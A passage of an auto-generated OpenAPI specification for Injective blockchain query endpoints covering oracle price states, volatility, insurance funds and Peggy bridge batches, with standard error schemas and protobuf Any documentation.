properties: | |
price_state: | |
type: object | |
properties: | |
price_id: | |
type: string | |
ema_price: | |
type: string | |
ema_conf: | |
type: string | |
conf: | |
type: string | |
publish_time: | |
type: string | |
format: uint64 | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: price_id | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/oracle/v1beta1/pyth_price_states: | |
get: | |
summary: Retrieves the state for all pyth price feeds | |
operationId: PythPriceStates | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
price_states: | |
type: array | |
items: | |
type: object | |
properties: | |
price_id: | |
type: string | |
ema_price: | |
type: string | |
ema_conf: | |
type: string | |
conf: | |
type: string | |
publish_time: | |
type: string | |
format: uint64 | |
price_state: | |
type: object | |
properties: | |
price: | |
type: string | |
cumulative_price: | |
type: string | |
timestamp: | |
type: string | |
format: int64 | |
description: |- | |
QueryPythPriceStatesResponse is the response type for the | |
Query/CoinbasePriceStates RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/oracle/v1beta1/volatility: | |
get: | |
summary: Retrieves mixed volatility value for the specified pair of base/quote | |
operationId: OracleVolatility | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
volatility: | |
type: string | |
history_metadata: | |
type: object | |
properties: | |
group_count: | |
type: integer | |
format: int64 | |
title: >- | |
GroupCount refers to the number of groups used. Equals | |
RecordsSampleSize if | |
no grouping is used | |
records_sample_size: | |
type: integer | |
format: int64 | |
description: >- | |
RecordsSampleSize refers to the total number of records | |
used. | |
mean: | |
type: string | |
title: >- | |
Mean refers to the arithmetic mean | |
For trades, the mean is the VWAP computed over the grouped | |
trade records ∑ | |
(price * quantity) / ∑ quantity For oracle prices, the | |
mean is computed | |
over the price records ∑ (price) / prices_count | |
twap: | |
type: string | |
title: >- | |
TWAP refers to the time-weighted average price which | |
equals ∑ (price_i * | |
∆t_i) / ∑ ∆t_i where ∆t_i = t_i - t_{i-1} | |
first_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
FirstTimestamp is the timestamp of the oldest record | |
considered | |
last_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
LastTimestamp is the timestamp of the youngest record | |
considered | |
min_price: | |
type: string | |
title: >- | |
MinPrice refers to the smallest individual raw price | |
considered | |
max_price: | |
type: string | |
title: >- | |
MaxPrice refers to the largest individual raw price | |
considered | |
median_price: | |
type: string | |
title: >- | |
MedianPrice refers to the median individual raw price | |
considered | |
title: >- | |
MetadataStatistics refers to the metadata summary statistics | |
of the | |
historical sample considered | |
raw_history: | |
type: array | |
items: | |
type: object | |
properties: | |
timestamp: | |
type: string | |
format: int64 | |
price: | |
type: string | |
description: >- | |
QueryOracleVolatilityResponse is the response type for | |
Query/OracleVolatility | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: base_info.symbol | |
in: query | |
required: false | |
type: string | |
- name: base_info.oracle_type | |
in: query | |
required: false | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
- name: base_info.scale_factor | |
in: query | |
required: false | |
type: integer | |
format: int64 | |
- name: quote_info.symbol | |
in: query | |
required: false | |
type: string | |
- name: quote_info.oracle_type | |
in: query | |
required: false | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
- name: quote_info.scale_factor | |
in: query | |
required: false | |
type: integer | |
format: int64 | |
- name: oracle_history_options.max_age | |
description: >- | |
MaxAge restricts the oracle price records oldest age in seconds from | |
the | |
current block time to consider. A value of 0 means use all the | |
records | |
present on the chain. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: oracle_history_options.include_raw_history | |
description: |- | |
If IncludeRawHistory is true, the raw underlying data used for the | |
computation is included in the response. | |
in: query | |
required: false | |
type: boolean | |
- name: oracle_history_options.include_metadata | |
description: >- | |
If IncludeMetadata is true, metadata on the computation is included | |
in the | |
response. | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/injective/insurance/v1beta1/estimated_redemptions: | |
get: | |
summary: |- | |
Retrives the value of insurance fund share token at current price (not | |
pending redemption) | |
operationId: EstimatedRedemptions | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
amount: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the custom | |
method | |
signatures required by gogoproto. | |
description: |- | |
QueryEstimatedRedemptionsResponse is the response type for the | |
Query/EstimatedRedemptions RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: marketId | |
in: query | |
required: false | |
type: string | |
- name: address | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/insurance/v1beta1/insurance_fund/{market_id}: | |
get: | |
summary: Retrieves individual insurance fund information from market id | |
operationId: InsuranceFund | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
fund: | |
type: object | |
properties: | |
deposit_denom: | |
type: string | |
title: deposit denomination for the given insurance fund | |
insurance_pool_token_denom: | |
type: string | |
title: >- | |
insurance fund pool token denomination for the given | |
insurance fund | |
redemption_notice_period_duration: | |
type: string | |
title: >- | |
redemption_notice_period_duration defines the minimum | |
notice period | |
duration that must pass after an underwriter sends a | |
redemption request | |
before the underwriter can claim his tokens | |
balance: | |
type: string | |
title: balance of fund | |
total_share: | |
type: string | |
title: total share tokens minted | |
market_id: | |
type: string | |
title: marketID of the derivative market | |
market_ticker: | |
type: string | |
title: ticker of the derivative market | |
oracle_base: | |
type: string | |
description: >- | |
Oracle base currency of the derivative market OR the | |
oracle symbol for the | |
binary options market. | |
oracle_quote: | |
type: string | |
description: >- | |
Oracle quote currency of the derivative market OR the | |
oracle provider for | |
the binary options market. | |
oracle_type: | |
title: Oracle type of the binary options or derivative market | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
expiry: | |
type: string | |
format: int64 | |
description: >- | |
Expiration time of the derivative market. Should be -1 for | |
perpetual or -2 | |
for binary options markets. | |
description: >- | |
QueryInsuranceFundResponse is the response type for the | |
Query/InsuranceFund | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
description: Market ID for the market | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/insurance/v1beta1/insurance_funds: | |
get: | |
summary: Retrieves all insurance funds | |
operationId: InsuranceFunds | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
funds: | |
type: array | |
items: | |
type: object | |
properties: | |
deposit_denom: | |
type: string | |
title: deposit denomination for the given insurance fund | |
insurance_pool_token_denom: | |
type: string | |
title: >- | |
insurance fund pool token denomination for the given | |
insurance fund | |
redemption_notice_period_duration: | |
type: string | |
title: >- | |
redemption_notice_period_duration defines the minimum | |
notice period | |
duration that must pass after an underwriter sends a | |
redemption request | |
before the underwriter can claim his tokens | |
balance: | |
type: string | |
title: balance of fund | |
total_share: | |
type: string | |
title: total share tokens minted | |
market_id: | |
type: string | |
title: marketID of the derivative market | |
market_ticker: | |
type: string | |
title: ticker of the derivative market | |
oracle_base: | |
type: string | |
description: >- | |
Oracle base currency of the derivative market OR the | |
oracle symbol for the | |
binary options market. | |
oracle_quote: | |
type: string | |
description: >- | |
Oracle quote currency of the derivative market OR the | |
oracle provider for | |
the binary options market. | |
oracle_type: | |
title: Oracle type of the binary options or derivative market | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
expiry: | |
type: string | |
format: int64 | |
description: >- | |
Expiration time of the derivative market. Should be -1 | |
for perpetual or -2 | |
for binary options markets. | |
description: >- | |
QueryInsuranceFundsResponse is the response type for the | |
Query/InsuranceFunds | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/insurance/v1beta1/module_state: | |
get: | |
summary: Retrieves the entire insurance module's state | |
operationId: InsuranceModuleState | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: object | |
properties: | |
params: | |
description: params defines all the parameters of related to insurance. | |
type: object | |
properties: | |
default_redemption_notice_period_duration: | |
type: string | |
title: >- | |
default_redemption_notice_period_duration defines the | |
default minimum | |
notice period duration that must pass after an | |
underwriter sends a | |
redemption request before the underwriter can claim | |
his tokens | |
insurance_funds: | |
type: array | |
items: | |
type: object | |
properties: | |
deposit_denom: | |
type: string | |
title: deposit denomination for the given insurance fund | |
insurance_pool_token_denom: | |
type: string | |
title: >- | |
insurance fund pool token denomination for the given | |
insurance fund | |
redemption_notice_period_duration: | |
type: string | |
title: >- | |
redemption_notice_period_duration defines the | |
minimum notice period | |
duration that must pass after an underwriter sends a | |
redemption request | |
before the underwriter can claim his tokens | |
balance: | |
type: string | |
title: balance of fund | |
total_share: | |
type: string | |
title: total share tokens minted | |
market_id: | |
type: string | |
title: marketID of the derivative market | |
market_ticker: | |
type: string | |
title: ticker of the derivative market | |
oracle_base: | |
type: string | |
description: >- | |
Oracle base currency of the derivative market OR the | |
oracle symbol for the | |
binary options market. | |
oracle_quote: | |
type: string | |
description: >- | |
Oracle quote currency of the derivative market OR | |
the oracle provider for | |
the binary options market. | |
oracle_type: | |
title: >- | |
Oracle type of the binary options or derivative | |
market | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
expiry: | |
type: string | |
format: int64 | |
description: >- | |
Expiration time of the derivative market. Should be | |
-1 for perpetual or -2 | |
for binary options markets. | |
title: >- | |
insurance_funds describes the insurance funds available | |
for derivative | |
markets | |
redemption_schedule: | |
type: array | |
items: | |
type: object | |
properties: | |
id: | |
type: string | |
format: uint64 | |
title: id of redemption schedule | |
marketId: | |
type: string | |
title: marketId of insurance fund for the redemption | |
redeemer: | |
type: string | |
title: address of the redeemer | |
claimable_redemption_time: | |
type: string | |
format: date-time | |
title: the time after which the redemption can be claimed | |
redemption_amount: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements | |
the custom method | |
signatures required by gogoproto. | |
title: the insurance_pool_token amount to redeem | |
title: >- | |
redemption_schedule describes the redemption requests | |
pending | |
next_share_denom_id: | |
type: string | |
format: uint64 | |
title: >- | |
next_share_denom_id describes the next share denom id to | |
be used for newly | |
creating insurance fund incremented by 1 per insurance | |
fund creation | |
next_redemption_schedule_id: | |
type: string | |
format: uint64 | |
title: >- | |
next_redemption_schedule_id describes next redemption | |
schedule id to be | |
used for next schedule incremented by 1 per redemption | |
request | |
description: GenesisState defines the insurance module's genesis state. | |
description: |- | |
QueryModuleStateResponse is the response type for the | |
Query/InsuranceModuleState RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/insurance/v1beta1/params: | |
get: | |
summary: Retrieves insurance params | |
operationId: InsuranceParams | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
params: | |
type: object | |
properties: | |
default_redemption_notice_period_duration: | |
type: string | |
title: >- | |
default_redemption_notice_period_duration defines the | |
default minimum | |
notice period duration that must pass after an underwriter | |
sends a | |
redemption request before the underwriter can claim his | |
tokens | |
description: |- | |
QueryInsuranceParamsRequest is the response type for the | |
Query/InsuranceParams RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/insurance/v1beta1/pending_redemptions: | |
get: | |
summary: Retrieves pending redemptions' share token at current price | |
operationId: PendingRedemptions | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
amount: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the custom | |
method | |
signatures required by gogoproto. | |
description: |- | |
QueryPendingRedemptionsResponse is the response type for the | |
Query/PendingRedemptions RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: marketId | |
in: query | |
required: false | |
type: string | |
- name: address | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/batch: | |
get: | |
operationId: BatchRequestByNonce | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
batch: | |
type: object | |
properties: | |
batch_nonce: | |
type: string | |
format: uint64 | |
batch_timeout: | |
type: string | |
format: uint64 | |
transactions: | |
type: array | |
items: | |
type: object | |
properties: | |
id: | |
type: string | |
format: uint64 | |
sender: | |
type: string | |
dest_address: | |
type: string | |
erc20_token: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this could | |
be a Cosmos | |
originated token, if so it will be the ERC20 address | |
of the representation | |
(note: developers should look up the token symbol | |
using the address on ETH to | |
display for UI) | |
erc20_fee: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this could | |
be a Cosmos | |
originated token, if so it will be the ERC20 address | |
of the representation | |
(note: developers should look up the token symbol | |
using the address on ETH to | |
display for UI) | |
title: >- | |
OutgoingTransferTx represents an individual send from | |
Peggy to ETH | |
token_contract: | |
type: string | |
block: | |
type: string | |
format: uint64 | |
title: >- | |
OutgoingTxBatch represents a batch of transactions going from | |
Peggy to ETH | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: nonce | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: contract_address | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/batch/confirms: | |
get: | |
operationId: BatchConfirms | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
confirms: | |
type: array | |
items: | |
type: object | |
properties: | |
nonce: | |
type: string | |
format: uint64 | |
token_contract: | |
type: string | |
eth_signer: | |
type: string | |
orchestrator: | |
type: string | |
signature: | |
type: string | |
title: >- | |
MsgConfirmBatch | |
When validators observe a MsgRequestBatch they form a batch | |
by ordering | |
transactions currently in the txqueue in order of highest to | |
lowest fee, | |
cutting off when the batch either reaches a hardcoded | |
maximum size (to be | |
decided, probably around 100) or when transactions stop | |
being profitable | |
(TODO determine this without nondeterminism) This message | |
includes the batch | |
as well as an Ethereum signature over this batch by the | |
validator | |
------------- | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: nonce | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: contract_address | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/batch/last: | |
get: | |
operationId: LastPendingBatchRequestByAddr | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
batch: | |
type: object | |
properties: | |
batch_nonce: | |
type: string | |
format: uint64 | |
batch_timeout: | |
type: string | |
format: uint64 | |
transactions: | |
type: array | |
items: | |
type: object | |
properties: | |
id: | |
type: string | |
format: uint64 | |
sender: | |
type: string | |
dest_address: | |
type: string | |
erc20_token: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this could | |
be a Cosmos | |
originated token, if so it will be the ERC20 address | |
of the representation | |
(note: developers should look up the token symbol | |
using the address on ETH to | |
display for UI) | |
erc20_fee: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this could | |
be a Cosmos | |
originated token, if so it will be the ERC20 address | |
of the representation | |
(note: developers should look up the token symbol | |
using the address on ETH to | |
display for UI) | |
title: >- | |
OutgoingTransferTx represents an individual send from | |
Peggy to ETH | |
token_contract: | |
type: string | |
block: | |
type: string | |
format: uint64 | |
title: >- | |
OutgoingTxBatch represents a batch of transactions going from | |
Peggy to ETH | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: address | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/batch/outgoingtx: | |
get: | |
operationId: OutgoingTxBatches | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
batches: | |
type: array | |
items: | |
type: object | |
properties: | |
batch_nonce: | |
type: string | |
format: uint64 | |
batch_timeout: | |
type: string | |
format: uint64 | |
transactions: | |
type: array | |
items: | |
type: object | |
properties: | |
id: | |
type: string | |
format: uint64 | |
sender: | |
type: string | |
dest_address: | |
type: string | |
erc20_token: | |
type: object | |
properties: | |
contract: | |
type: string | |
amount: | |
type: string | |
title: >- | |
ERC20Token unique identifier for an Ethereum ERC20 | |
token. | |
CONTRACT: | |
The contract address on ETH of the token, this | |
could be a Cosmos | |
originated token, if so it will be the ERC20 | |
address of the representation | |
(note: developers should look up the token symbol | |
using the address on ETH to | |
display for UI) | |
erc20_fee: | |
